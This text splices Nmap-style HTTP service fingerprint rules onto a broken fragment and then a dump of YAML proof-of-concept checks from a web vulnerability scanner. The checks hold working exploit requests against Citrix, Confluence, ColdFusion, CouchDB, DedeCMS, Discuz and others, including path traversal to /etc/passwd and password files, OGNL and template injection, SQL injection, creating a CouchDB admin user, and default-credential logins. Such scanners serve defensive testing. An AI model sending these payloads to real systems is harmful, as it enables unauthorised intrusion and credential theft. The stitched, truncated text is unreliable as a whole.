cpe:/a:ibm:tivoli_endpoint_manager/ # Might be too general: match http m|^HTTP/1\.0 200\r\nContent-type: text/html\r\n\r\nInvalid request$| p/IBM Tivoli Endpoint httpd/ cpe:/a:ibm:tivoli_endpoint_manager/ match http m|^\n\n\n\n.*System Name   : ([^\r\n]+)\n.*Location Name : ([^\r\n]+)\n.*MAC Address    : ([-\w]+)\n\n|s p|Allnet/Cameo/D-Link switch http config| i/$1@$2; MAC $3/ d/switch/ match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Type: text/html\r\nWWW-Authenticate: Digest realm=\"Raid Console\", qop=\"auth\", nonce=\"\w+\"\r\nContent-Length: 0\r\n\r\n| p/Areca RAID-Controller http config/ match http m|^HTTP/1\.1 404 Not Found\r\n\r\n404 Not Found: \[/nice ports,/Trinity\.txt\.bak\]$| p/SHTTPD/ match http m|^HTTP/1\.0 404 Not Found\r\n.*\r\n

          URL demand\xe9e introuvable\.

          |s p/Lexmark Optra T610 printer http config/ i/French/ d/printer/ cpe:/h:lexmark:optra_t610/a match http m|^HTTP/1\.0 403 File not found - unknown extension\r\n\r\n| p|apt-cache/apt-proxy httpd| o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 403 Sorry, not allowed to fetch that type of file: Tri%6Eity\.txt%2ebak\r\n\r\n| p/apt-cache httpd/ match http m|^HTTP/1\.0 304 Not Modified\r\nContent-Length: 0\r\nServer: Unknown\r\n\r\n| p/McData 4500 fibre switch http config/ d/switch/ match http m|^HTTP/1\.1 404 Not Found\r\nServer: KM-httpd/([-\w_.]+)\r\n.*HTTP Response Code: 404
          From server at: ([-\w_.]+)
          |s p/Konica Minolta printer http config/ v/$1/ d/printer/ h/$2/ match http m|^HTTP/1\.0 404 Object Not Found\r\nContent-Type: text/html\r\n\r\n

          HTTP/1\.0 404 Object Not Found\r\n

          | p/Microsoft IIS httpd/ v/3.X/ o/Windows/ cpe:/a:microsoft:internet_information_services:3/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Medusa/([\w.]+)\r\n.*Asterisk/DeStar PBX :: Page not found\n|s p/Medusa httpd/ v/$1/ i/Destar Asterisk PBX http config/ match http m|^HTTP/1\.1 404 Can't find file\r\n$| p|Dynamode/Motorola WAP http config| d/WAP/ match http m|^HTTP/1\.0 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Server: lighttpd/([\d.]+)\r\n|s p/lighttpd/ v/$1/ cpe:/a:lighttpd:lighttpd:$1/ match http m|^HTTP/1\.0 200 OK\r\nContent-Type: text/html\r\nContent-Length: 241\r\n\r\nPOPFile Web Server Error 404| p/POPFile web control interface/ match http m|^HTTP/1\.0 400 No any servlet found for serving /\r\ncontent-type: text/html\r\nconnection: keep-alive\r\ncontent-length: \d+\r\nmime-version: [\d.]+\r\n\r\n<HTML><HEAD><TITLE>400 No any servlet found for serving /

          400 No any servlet found for serving /


          Rogatkin's JWS based on Acme\.Serve Version ([\w._-]+), \$Revision: ([\w._-]+) \$| p/Rogatkin's JWS httpd/ v/$2/ i/Based on Acme.Serve $1/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n \n Linksys PAP2 Configuration\r\n| p/Linksys PAP2 VoIP http config/ d/VoIP adapter/ match http m|^HTTP/1\.1 200 OK.*\nServer: HPSMH\n.*\nSystem Management Homepage|s p/HP System Management Homepage/ o/HP-UX/ cpe:/a:hp:system_management_homepage/ cpe:/o:hp:hp-ux/a match http m|^HTTP/1\.0 499 Unauthorized user access\. Check User/Password/Scope\. \r\nContent-Length: \d+\r\nContent-Type: text/html\r\nConnection: close\r\n\r\nAccess Denied

          Navi Error\. Access Denied\.

          Please check the typed URL\.

          | p|Dell/EMC CX300 Navisphere http config| d/storage-misc/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nContent-Length: 0\r\nServer: Indy/([\w._-]+)\r\nSet-Cookie: IDHTTPSESSIONID=\w+; path=/\r\n\r\n$| p/Indy httpd/ v/$1/ i/MediaPortal TV-Server http config/ d/media device/ cpe:/a:indy:httpd:$1/ match http m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Indy/([\w._-]+)\r\n|s p/Indy httpd/ v/$1/ cpe:/a:indy:httpd:$1/ match http m|^HTTP/1\.0 200 OK\r\nCache-Control: no-cache\r\nContent-Type:text/html\r\nContent-Length: +\d+\r\n\r\n.*size=\"2\">VoIP System Embedded \n\t\tWEB Server ([\w._-]+),|s p/Perfectone IP301 VoIP phone http config/ v/$1/ d/VoIP phone/ cpe:/h:perfectone:ip301/a match http m|^HTTP/1\.0 200 OK\nContent-Type: text/html; charset=utf-8\nConnection: close\n\nUnknown operator\.$| p/Arc httpd/ match http m|^HTTP/1\.0 403 Forbidden\r\n.*\r\nAbilis CPX - 403 forbidden|s p/Abilis CPX http config/ d/PBX/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nCache-Control: no-cache\r\nServer: WEBCAM\r\nCONTENT-LENGTH:\d+\r\n\r\n\r\nHTTP requested /nice%20ports%2C/Tri%6Eity\.txt%2ebak was not found UID (\d+) PID (\d+)\n| p/Pixord IP Camera http config/ i/UID $1; PID $2/ d/webcam/ match http m|^\n\n\n\n.*
           System Name   : ([\w._-]+)\n.* MAC Address    : ([\w-]+)\n|s p/Web-Smart Gigabit Ethernet Switch http config/ i/MAC $2/ d/switch/ h/$1/ match http m|^HTTP/1\.0 404 Not Found\r\n\r\nThis page does not exist or you are not authorized to view it| p/Google Search Appliance httpd/ d/specialized/ cpe:/a:google:search_appliance_software/ match http m|^HTTP/1\.0 404 Document Follows\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n404 Not Found\r\n

          404 Not Found

          \r\nUrl '/NICE%20PORTS%2C\\TRI%6EITY\.TXT%2EBAK' not found on server

          \r\n| p/HP StorageWorks MSL4048 http config/ d/storage-misc/ match http m|^HTTP/1\.0 404 Document Follows\r\nContent-Type: text/html\r\nContent-Length: 147\r\n\r\n404 Not Found\r\n

          404 Not Found

          \r\nUrl '/nice%20ports%2C/Tri%6Eity\.txt%2ebak' not found on server

          \r\n| p/Crestron automation system httpd/ d/specialized/ cpe:/h:crestron/ match http m|^HTTP/1\.1 404 (?:[^\r\n]*\r\n(?!\r\n))*?Server: WMI (V[\w._-]+)\r\n.*HTTP/1\.1 404 NOT FOUND!
          Check flash:/s3p03_00\.web , please\.|s p/WMI/ v/$1/ i/3Com 4500 switch http config/ d/switch/ cpe:/h:3com:4500/a match http m|^HTTP/1\.0 401 Unauthorized\r\nWWW-Authenticate: Basic realm=\"/webpages\"\r\nServer: DigiSprite\r\n| p/DigiSprite httpd/ d/webcam/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nDate: .*\r\nLocation: https://([\w_.-]+)/nice%20ports%2C/Tri%6Eity\.txt%2ebak\r\nConnection: close\r\nContent-Type: text/html\r\nContent-Length: 56\r\n\r\n

          301 Moved Permanently

          $| p/VMware ESX 4.0 Server httpd/ h/$1/ cpe:/o:vmware:esx:4.0/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n \n Sipura SPA Configuration\r\n \n \n

          404 Not Found\r\n!

          \n\n\n$| p/Sipura SPA-2100 VoIP phone http config/ d/VoIP phone/ cpe:/h:sipura:spa-2100/a match http m|^HTTP/1\.1 403\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\nAccess denied$| p/Vibe Streamer music server httpd/ o/Windows/ cpe:/o:microsoft:windows/a match http m|^HTTP/1\.0 404 Not Found\r\nServer: httpd\r\n.*404 Not Found\n

          404 Not Found

          \nFile not found\.\n\n$|s p/DD-WRT milli_httpd/ d/WAP/ o/Linux/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 404 Not Found\r\nServer: HTTP\r\n(?:[^\r\n]+\r\n)*?Content-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: no-cache\r\n\r\n404 Not Found\n

          404 Not Found

          \nFile not found\.\n$|s p/Aladino SIP phone http config/ d/VoIP phone/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: 232\r\nCache-Control: max-age=0\r\n.*
          iNTERFACEWARE Iguana Administration Server
          \r\n\r\n\r\n\r\n|s p/Interfaceware Iguana heathcare management http interface/ match http m|^HTTP/1\.1 404 Not Found\r\nServer: Switch \r\n.*\n.*

          HTTP/1\.1 404 NOT FOUND!
          Check flash:/http\.zip , please\.

          |s p/3Com switch http config/ d/switch/ match http m|^HTTP/1\.0 404 Not found\r\nDate: .*\r\nServer: Acme\.Serve/v([\w._ -]+)\r\nConnection: close\r\nContent-type: text/html; charset=Cp1252\r\n\r\n| p/Acme.Serve/ v/$1/ i/APC PowerChute/ d/power-device/ cpe:/a:acme:acme.serve:$1/ match http m|^HTTP/1\.0 404 Not found\nDate: .*\nServer: Acme\.Serve/v([\w._ -]+)\nConnection: close\nContent-type: text/html; charset=ISO-8859-1\n\n| p/Acme.Serve/ v/$1/ i/APC PowerChute/ d/power-device/ cpe:/a:acme:acme.serve:$1/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/plain\r\nContent-Length: 35\r\nConnection: close\r\n\r\nError 404: Not Found\nFile not found$| p/Mongoose httpd/ cpe:/a:cesanta:mongoose/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Length: 35\r\nConnection: close\r\n\r\nError 404: Not Found\nFile not found$| p/Mongoose httpd/ v/3.7/ cpe:/a:cesanta:mongoose:3.7/ match http m|^HTTP/1\.0 200 OKContent-Type: text/htmlContent-Length: \d+\r\n\r\nYou have reached Aperio DSC Server running on 0\.0\.0\.0 / \d+\r\n Number of current sessions = \d+\r\n| p/Aperio Digital Slide Conferencing httpd/ match http m|^HTTP/1\.0 404 Not Found\r\nContent-Length: 0\r\nConnection: Close\r\nContent-Type: text/html\r\n\r\n$| p/Google Mini search appliance httpd/ match http m|^HTTP/1\.1 404 Not Found\r\n.*Powered by Jetty://|s p/Jetty/ cpe:/a:mortbay:jetty/ # WebCam webserver Sharx Security SCNC2700 https://www.sharxsecurity.com/products.html # Elro Network Camera # foscam ip camera match http m|^HTTP/1\.1 404 Not Found\r\nServer: Netwave IP Camera\r\n| p/Netwave webcam http config/ d/webcam/ match http m|^HTTP/1\.0 404 Not Found\r\nServer: IP_SHARER WEB ([\w._-]+)\r\nContent-type: text/html\r\nConnection: close\r\n\r\n| p/IP_SHARER WEB/ v/$1/ d/router/ cpe:/a:trendnet:ip_sharer_web:$1/ match http m|^HTTP/1\.0 404 NOT FOUND\r\nContent-Type:text/html\r\n.*\r\n MiniWeb Client Workbench\r\n \r\n \r\n \r\n|s p/Siemens Simatic HMI MiniWeb httpd/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n\n(SPA\w+) Configuration Utility\n| p/Cisco $1 VoIP phone http config/ d/VoIP phone/ cpe:/h:cisco:$1/ match http m|^HTTP/1\.1 400 ERROR\r\nConnection: keep-alive\r\nContent-Length: 17\r\nContent-Type: text/html\r\n\r\n\r\ninvalid request$| p/uTorrent utserver web interface/ o/Linux/ cpe:/a:utorrent:utorrent/ cpe:/o:linux:linux_kernel/ match http m|^HTTP/1\.0 404 Not Found ?\r\nDate: .*\r\nServer: ZWorld Rabbit\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n404 Not Found404 Not Found\r\n\r\n$| p/Z-World Rabbit microcontroller httpd/ match http m|^HTTP/1\.0 200 OK\nContent-Type: text/html\n\nFile not found

          404 / OOPS!

          \n'File not found',
          \nHow dare they say!
          \nI am here,
          \njust out of the way\.
          \n
          \nHow was I found\?
          \nA typo\? A mistake\?
          \nOr were you snooping\?!
          \n
          \nNonetheless, we meet at last\.
          \nI am found - hip hip hooray!
          \nNevermore can they say:
          \n'File not found! Back to main page!'
          \n
          \n$| p/PureChoice Nose environmental monitor http config/ cpe:/h:purechoice:nose/ match http m|^HTTP/1\.0 200 OK\r\n.*\n\nGreenbone Security Assistant\n|s p/Greenbone Security Assistant/ cpe:/a:greenbone:greenbone_security_assistant/ match http m|^HTTP/1\.1 200 OK\r\n.*\n\nGreenbone Security Assistant\n|s p/Greenbone Security Assistant/ v/2.0.1/ cpe:/a:greenbone:greenbone_security_assistant:2.0.1/ match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/html\r\nCache-Control: public\r\nPragma: cache\r\nExpires: .* GMT\r\nDate: .* GMT\r\nLast-Modified: Fri, 12 Aug 2011 00:00:00 GMT\r\nAccept-Ranges: bytes\r\nConnection: close\r\n\r\n\n\n 404 Not Found\n\n\n

          404 Not Found

          \n

          \n \n\n\n$| p/Orange Livebox WAP http config/ d/WAP/ match http m|^HTTP/1\.1 200 OK\r\nCache-Control: private, max-age=0, no-cache\r\nContent-Length: 188\r\nContent-Type: text/html\r\n\r\n

          GSCSERVER DEFAULT HANDLER - FILE NOT FOUND


          REQUESTED FILE = nice%20ports%2C/tri%6eity\.txt%2ebak

          $| p/Geutebrueck GeViControl video surveillance http admin/ d/security-misc/ match http m|^HTTP/1\.1 200 OK\r\nConnection: close\r\nServer: Apache\r\nContent-Length: 43\r\n\r\n

          No site configured at this address

          $| p/Metasploit reverse_http stager/ match http m|^HTTP/1\.1 404 Not Found\r\n(?:[^\r\n]+\r\n)*?Expires: Thu, 01-Jan-1970 00:00:00 GMT\r\n.*VMware vCloud Director|s p/VMware vCloud Director/ cpe:/a:vmware:vcloud_director/ match http m|^HTTP/1\.1 404 [^\r\n]*\r\nContent-Type: text/html;charset=.*

          Apache Tomcat/([\d.]+)

          $|s p/Apache Tomcat/ v/$1/ cpe:/a:apache:tomcat:$1/a match http m|^HTTP/1\.1 404 /nice%20ports%2C/Tri%6Eity\.txt%2ebak\r\nContent-Type: text/html;charset=utf-8\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\nServer: wifi-security-server\r\n\r\nApache Tomcat - Error report| p/Apache Tomcat/ cpe:/a:apache:tomcat/a match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: LG ROAP Server\r\nPragma: no-cache\r\nCache-Control: no-store, no-cache, must-revalidate\r\nConnection: Close\r\nContent-Length: \d+\r\nContent-Type: application/atom\+xml; charset=utf-8\r\n\r\n<\?xml version=\"1\.0\" encoding=\"utf-8\"\?>401Unauthorized$| p/LG Smart TV Rights Object Acquisition Protocol/ d/media device/ match http m|^HTTP/1\.1 200 OK\r.*\nX-Powered-By: (Servlet/[\d.]+ JSP/[\d.]+) \(Oracle GlassFish Server ([\d.]+) Java/Oracle Corporation/([\d.]+)\)\r.*\nX-Powered-By: (JSF/[\d.]+)\r\n|s p/Oracle GlassFish application server/ v/$2/ i|$1 $4 Java/$3| cpe:/a:oracle:glassfish_server:$2/ match http m|^HTTP/1\.1 200 OK\r.*\nServer: Oracle GlassFish Server ([\d.]+)\r\n|s p/Oracle GlassFish application server/ v/$1/ cpe:/a:oracle:glassfish_server:$1/ # Milestone ImageServer, Milestone XProtect Enterprise match http m|^HTTP/1\.1 404 Object Not Found\r\nDate: .*\r\nConnection: close\r\nContent-Type: text/plain\r\n(?:[^\r\n]+\r\n)*?\r\nSorry, file not found\.$|s p/Milestone httpd/ match http m|^HTTP/1\.1 200 OK\r\nContent-Type:text/html\r\nExpires: .*\r\nPragma: no-cache\r\nServer: LPC Http Server/V([\d.]+)\r\n\r\n| p/Konica Minolta LPC httpd/ v/$1/ d/printer/ match http m|^HTTP/1\.1 404 Not Found\r\nServer: ReeCam IP Camera\r\n| p/ReeCam IP Camera httpd/ d/webcam/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: /error\r\n$| p/Enphase httpd/ d/power-device/ match http m|^HTTP/1\.1 404 Not Found\r\nSet-Cookie: sid=[0-9a-f]{128}; path=/; httponly\r\nContent-Type: application/json\r\nDate: .*\r\nConnection: close\r\n\r\n{\"message\":\"Resource Not Found\",\"status\":404}| p/Node.js/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.0 200 OK\r\nLast-modified: .*\r\nServer: ESERV-10/([\d.]+)\n| p/Viola ESERV-10 httpd/ v/$1/ match http m|^HTTP/1\.1 503 DNS error for hostname nice%20ports%2C: Name or service not known\. If nice%20ports%2C refers to a configured cache repository, please check the corresponding configuration file\.\r\nContent-Length: 478\r\nContent-Type: text/html\r\nDate: .*\r\nServer: Debian Apt-Cacher NG/([\w._-]+)\r\nConnection: close\r\n\r\n| p/Debian Apt-Cacher NG/ v/$1/ cpe:/a:debian:apt-cacher:$1/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\r\n\r\n(SPA\d\d\d[\w._-]*) Configuration Utility| p/Cisco $1 http config/ d/VoIP phone/ cpe:/h:cisco:$1/a match http m|^HTTP/1\.0 \d\d\d \r\n(?:[^\r\n]+\r\n)*?server: CubeCoders-McMyAdmin/IAWS\r\n.*

          McMyAdmin Enterprise - Web Backend v([\d.]+)

          |s p/CubeCoders McMyAdmin Enterprise Minecraft control panel/ v/$1/ match http m|^HTTP/1\.1 404 Not Found\r\nContent-Type: text/plain\r\nDate: .*\r\nConnection: close\r\n\r\nCannot GET /nice%20ports%2C/Tri%6Eity\.txt%2ebak| p/Express.js httpd/ match http m|^HTTP/1\.1 200 OK\r\nDate: .* GMT\r\nConnection: Keep-Alive\r\nContent-Type: text/html\r\nCACHE-CONTROL: no-cache\r\nContent-Length: \d+\r\n\r\n\n\n<[Mm][Ee][Tt][Aa] http-equiv=\"Content-Type\" content=\"text/html; charset=[Uu][Tt][Ff]-8\"(?: /)?>\r?\nreplace\n\n")) && response.body.bcontains(b"citrix") detail: author: JingLing(https://hackfun.org/) links: - https://support.citrix.com/article/CTX276688 - https://www.citrix.com/blogs/2020/07/07/citrix-provides-context-on-security-bulletin-ctx276688/ - https://dmaasland.github.io/posts/citrix.html ================================================ FILE: WebScan/pocs/citrix-cve-2020-8193-unauthorized.yml ================================================ name: poc-yaml-citrix-cve-2020-8193-unauthorized set: user: randomLowercase(8) pass: randomLowercase(8) rules: - method: POST path: "/pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1" headers: Content-Type: application/xml X-NITRO-USER: '{{user}}' X-NITRO-PASS: '{{pass}}' body: follow_redirects: false expression: > response.status == 406 && "(?i)SESSID=\\w{32}".bmatches(bytes(response.headers["Set-Cookie"])) detail: author: bufsnake(https://github.com/bufsnake) links: - https://github.com/PR3R00T/CVE-2020-8193-Citrix-Scanner/blob/master/scanner.py - https://blog.unauthorizedaccess.nl/2020/07/07/adventures-in-citrix-security-research.html ================================================ FILE: WebScan/pocs/citrix-xenmobile-cve-2020-8209.yml ================================================ name: poc-yaml-citrix-xenmobile-cve-2020-8209 rules: - method: GET path: /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd follow_redirects: false expression: | response.status == 200 && response.content_type.contains("octet-stream") && "^root:[x*]:0:0:".bmatches(response.body) detail: author: B1anda0(https://github.com/B1anda0) links: - https://nvd.nist.gov/vuln/detail/CVE-2020-8209 ================================================ FILE: WebScan/pocs/coldfusion-cve-2010-2861-lfi.yml ================================================ name: poc-yaml-coldfusion-cve-2010-2861-lfi rules: - method: GET path: >- /CFIDE/administrator/enter.cfm?locale=../../../../../../../lib/password.properties%00en follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"rdspassword=") && response.body.bcontains(b"encrypted=") detail: version: 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/coldfusion/CVE-2010-2861 ================================================ FILE: WebScan/pocs/confluence-cve-2015-8399.yml ================================================ name: poc-yaml-confluence-cve-2015-8399 rules: - method: GET path: /spaces/viewdefaultdecorator.action?decoratorName follow_redirects: false expression: response.status == 200 && response.body.bcontains(b"confluence-init.properties") && response.body.bcontains(b"View Default Decorator") detail: author: whynot(https://github.com/notwhy) links: - https://www.anquanke.com/vul/id/1150798 ================================================ FILE: WebScan/pocs/confluence-cve-2019-3396-lfi.yml ================================================ name: poc-yaml-confluence-cve-2019-3396-lfi rules: - method: POST path: /rest/tinymce/1/macro/preview headers: Content-Type: "application/json" Host: localhost Referer: http://localhost body: >- {"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}} follow_redirects: true expression: | response.status == 200 && response.body.bcontains(b"contextConfigLocation") detail: author: sharecast links: - https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396 ================================================ FILE: WebScan/pocs/confluence-cve-2021-26084.yml ================================================ name: poc-yaml-confluence-cve-2021-26084 set: r1: randomInt(100000, 999999) r2: randomInt(100000, 999999) rules: - method: POST path: /pages/createpage-entervariables.action?SpaceKey=x body: | queryString=\u0027%2b%7b{{r1}}%2B{{r2}}%7d%2b\u0027 expression: | response.status == 200 && response.body.bcontains(bytes(string(r1 + r2))) detail: author: Loneyer(https://github.com/Loneyers) links: - https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html ================================================ FILE: WebScan/pocs/confluence-cve-2021-26085-arbitrary-file-read.yml ================================================ name: poc-yaml-confluence-cve-2021-26085-arbitrary-file-read set: rand: randomLowercase(6) rules: - method: GET path: /s/{{rand}}/_/;/WEB-INF/web.xml follow_redirects: false expression: response.status == 200 && response.body.bcontains(b"Confluence") && response.body.bcontains(b"com.atlassian.confluence.setup.ConfluenceAppConfig") detail: author: wulalalaaa(https://github.com/wulalalaaa) links: - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html ================================================ FILE: WebScan/pocs/consul-rexec-rce.yml ================================================ name: poc-yaml-consul-rexec-rce rules: - method: GET path: /v1/agent/self expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"DisableRemoteExec\": false") detail: author: imlonghao(https://imlonghao.com/) links: - https://www.exploit-db.com/exploits/46073 ================================================ FILE: WebScan/pocs/consul-service-rce.yml ================================================ name: poc-yaml-consul-service-rce rules: - method: GET path: /v1/agent/self expression: | response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"\"EnableScriptChecks\": true") || response.body.bcontains(b"\"EnableRemoteScriptChecks\": true") detail: author: imlonghao(https://imlonghao.com/) links: - https://www.exploit-db.com/exploits/46074 ================================================ FILE: WebScan/pocs/coremail-cnvd-2019-16798.yml ================================================ name: poc-yaml-coremail-cnvd-2019-16798 rules: - method: GET path: >- /mailsms/s?func=ADMIN:appState&dumpConfig=/ follow_redirects: false expression: > response.status == 200 && response.body.bcontains(bytes("")) detail: author: cc_ci(https://github.com/cc8ci) links: - https://www.secpulse.com/archives/107611.html ================================================ FILE: WebScan/pocs/couchcms-cve-2018-7662.yml ================================================ name: poc-yaml-couchcms-cve-2018-7662 rules: - method: GET path: /includes/mysql2i/mysql2i.func.php follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"mysql2i.func.php on line 10") && response.body.bcontains(b"Fatal error: Cannot redeclare mysql_affected_rows() in") - method: GET path: /addons/phpmailer/phpmailer.php follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"phpmailer.php on line 10") && response.body.bcontains(b"Fatal error: Call to a menber function add_event_listener() on a non-object in") detail: author: we1x4n(https://we1x4n.github.io/) links: - https://github.com/CouchCMS/CouchCMS/issues/46 ================================================ FILE: WebScan/pocs/couchdb-cve-2017-12635.yml ================================================ name: poc-yaml-couchdb-cve-2017-12635 set: r1: randomLowercase(32) rules: - method: PUT path: '/_users/org.couchdb.user:{{r1}}' headers: Content-Type: application/json Content-Length: '192' body: |- { "type": "user", "name": "{{r1}}", "roles": ["_admin"], "roles": [], "password": "fVyuyAECgYEAhgJzkPO1sTV1Dvs5bvls4tyVAsLy2I7wHKWJvJdDUpox2TnCMFT9" } follow_redirects: false expression: | response.status == 201 && response.body.bcontains(bytes("org.couchdb.user:" + r1)) detail: author: j4ckzh0u(https://github.com/j4ckzh0u) links: - https://github.com/vulhub/vulhub/tree/master/couchdb/CVE-2017-12635 ================================================ FILE: WebScan/pocs/couchdb-unauth.yml ================================================ name: poc-yaml-couchdb-unauth rules: - method: GET path: /_config follow_redirects: false expression: > response.status == 200 && response.body.bcontains(b"httpd_design_handlers") && response.body.bcontains(b"external_manager") && response.body.bcontains(b"replicator_manager") detail: author: FiveAourThe(https://github.com/FiveAourThe) links: - https://www.seebug.org/vuldb/ssvid-91597 ================================================ FILE: WebScan/pocs/craftcms-seomatic-cve-2020-9757-rce.yml ================================================ name: poc-yaml-craftcms-seomatic-cve-2020-9757-rce set: r1: randomInt(40000, 44800) r2: randomInt(40000, 44800) groups: poc1: - method: GET path: /actions/seomatic/meta-container/meta-link-container/?uri={{{{r1}}*'{{r2}}'}} expression: | response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2))) poc2: - method: GET path: /actions/seomatic/meta-container/all-meta-containers?uri={{{{r1}}*'{{r2}}'}} expression: | response.status == 200 && response.body.bcontains(bytes("MetaLinkContainer")) && response.body.bcontains(bytes("canonical")) && response.body.bcontains(bytes(string(r1 * r2))) detail: author: x1n9Qi8 links: - http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-202003-181 - http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9757 ================================================ FILE: WebScan/pocs/datang-ac-default-password-cnvd-2021-04128.yml ================================================ name: poc-yaml-datang-ac-default-password-cnvd-2021-04128 rules: - method: POST path: /login.cgi follow_redirects: false body: >- user=admin&password1=%E8%AF%B7%E8%BE%93%E5%85%A5%E5%AF%86%E7%A0%81&password=123456&Submit=%E7%AB%8B%E5%8D%B3%E7%99%BB%E5%BD%95 expression: | response.status == 200 && response.headers["set-cookie"].contains("ac_userid=admin,ac_passwd=") && response.body.bcontains(b"window.open('index.htm?_") detail: author: B1anda0(https://github.com/B1anda0) links: - https://www.cnvd.org.cn/flaw/show/CNVD-2021-04128 ================================================ FILE: WebScan/pocs/dedecms-carbuyaction-fileinclude.yml ================================================ name: poc-yaml-dedecms-carbuyaction-fileinclude rules: - method: GET path: /plus/carbuyaction.php?dopost=return&code=../../ headers: Cookie: code=alipay follow_redirects: true expression: | response.status == 200 - method: GET path: /plus/carbuyaction.php?dopost=return&code=../../ headers: Cookie: code=cod follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes("Cod::respond()")) detail: author: harris2015(https://github.com/harris2015) Affected Version: "DedeCmsV5.x" links: - https://www.cnblogs.com/milantgh/p/3615986.html ================================================ FILE: WebScan/pocs/dedecms-cve-2018-6910.yml ================================================ name: poc-yaml-dedecms-cve-2018-6910 rules: - method: GET path: /include/downmix.inc.php expression: | response.status == 200 && response.body.bcontains(bytes("Fatal error")) && response.body.bcontains(bytes("downmix.inc.php")) && response.body.bcontains(bytes("Call to undefined function helper()")) detail: author: PickledFish(https://github.com/PickledFish) links: - https://github.com/kongxin520/DedeCMS/blob/master/DedeCMS_5.7_Bug.md ================================================ FILE: WebScan/pocs/dedecms-cve-2018-7700-rce.yml ================================================ name: poc-yaml-dedecms-cve-2018-7700-rce set: r: randomInt(2000000000, 2100000000) rules: - method: GET path: >- /tag_test_action.php?url=a&token=&partcode={dede:field%20name=%27source%27%20runphp=%27yes%27}echo%20md5{{r}};{/dede:field} follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) detail: author: harris2015(https://github.com/harris2015) Affected Version: "V5.7SP2正式版(2018-01-09)" links: - https://xz.aliyun.com/t/2224 ================================================ FILE: WebScan/pocs/dedecms-guestbook-sqli.yml ================================================ name: poc-yaml-dedecms-guestbook-sqli set: r: randomInt(800000000, 1000000000) rules: - method: GET path: /plus/guestbook.php follow_redirects: true expression: | response.status == 200 search: action=admin&id=(?P\d{1,20}) - method: GET path: /plus/guestbook.php?action=admin&job=editok&id={{articleid}}&msg=',msg=@`'`,msg=(selecT md5({{r}})),email=' follow_redirects: true expression: | response.status == 200 - method: GET path: /plus/guestbook.php follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) detail: author: harris2015(https://github.com/harris2015) Affected Version: "5.7" links: - https://blog.csdn.net/god_7z1/article/details/8180454 ================================================ FILE: WebScan/pocs/dedecms-membergroup-sqli.yml ================================================ name: poc-yaml-dedecms-membergroup-sqli set: r: randomInt(800000000, 1000000000) rules: - method: GET path: >- /member/ajax_membergroup.php?action=post&membergroup=@`'`/*!50000Union+*/+/*!50000select+*/+md5({{r}})+--+@`'` follow_redirects: true expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(r)))) detail: author: harris2015(https://github.com/harris2015) Affected Version: "5.6,5.7" links: - http://www.dedeyuan.com/xueyuan/wenti/1244.html ================================================ FILE: WebScan/pocs/dedecms-url-redirection.yml ================================================ name: poc-yaml-dedecms-url-redirection rules: - method: GET path: >- /plus/download.php?open=1&link=aHR0cHM6Ly93d3cuZHUxeDNyMTIuY29t follow_redirects: false expression: > response.status == 302 && response.headers["location"] == "https://www.du1x3r12.com" detail: author: cc_ci(https://github.com/cc8ci) Affected Version: "V5.7 sp1" links: - https://blog.csdn.net/ystyaoshengting/article/details/82734888 ================================================ FILE: WebScan/pocs/discuz-ml3x-cnvd-2019-22239.yml ================================================ name: poc-yaml-discuz-ml3x-cnvd-2019-22239 set: r1: randomInt(800000000, 1000000000) rules: - method: GET path: /forum.php follow_redirects: false expression: | response.status == 200 search: cookiepre = '(?P[\w_]+)' - method: GET path: /forum.php headers: Cookie: 